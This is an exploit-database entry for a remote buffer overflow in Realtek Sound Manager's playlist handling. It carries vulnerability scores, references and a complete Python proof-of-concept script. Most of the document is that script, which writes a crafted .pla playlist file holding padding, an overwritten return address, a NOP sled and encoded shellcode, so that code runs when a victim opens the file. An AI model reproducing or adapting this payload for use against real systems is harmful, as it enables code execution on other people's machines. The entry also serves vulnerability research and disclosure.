Realtek Sound Manager (rtlrack.exe v. 1.15.0.0) PlayList BOF Exploit

2008.12.21
Credit: shinnai
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#usage: exploit.py print "--------------------------------------------------------------------------" print " Realtek Sound Manager (rtlrack.exe v. 1.15.0.0) PlayList Buffer Overflow\n" print " url: http://www.realtek.com.tw/\n" print " download: ftp://152.104.238.19/pc/audio/AP_A406.exe" print " ftp://202.65.194.212/pc/audio/AP_A406.exe" print " ftp://66.104.77.130/pc/audio/AP_A406.exe\n" print " author: shinnai" print " mail: shinnai[at]autistici[dot]org" print " site: http://www.shinnai.net\n" print " Tested on: Windows XP Pro SP3 Ita\n" print " Greetings to:" print " str0ke for being a friend as well as a great man\n" print " In memory of rgod" print "--------------------------------------------------------------------------" buff = "\x41" * 220 EIP = "\xEB\xBA\x3F\x7E" #call ESP from user32.dll nop = "\x90" * 12 shellcode = ( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47" "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38" "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48" "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c" "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58" "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44" "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38" "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33" "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47" "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a" "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b" "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33" "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37" "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59" "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56" "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a" ) egg = buff + EIP + nop + shellcode + nop try: out_file = open("exploit.pla",'w') out_file.write(egg) out_file.close() raw_input("\nFILE CREATED!\n\nPress any key to exit...") except: print "Something goes wrong..."

References:

http://xforce.iss.net/xforce/xfdb/47380
http://www.shinnai.net/xplits/TXT_n7dMz2jBQsDJFtplslYw.html
http://www.securityfocus.com/bid/32860
http://www.milw0rm.com/exploits/7492
http://secunia.com/advisories/33183
http://osvdb.org/50715


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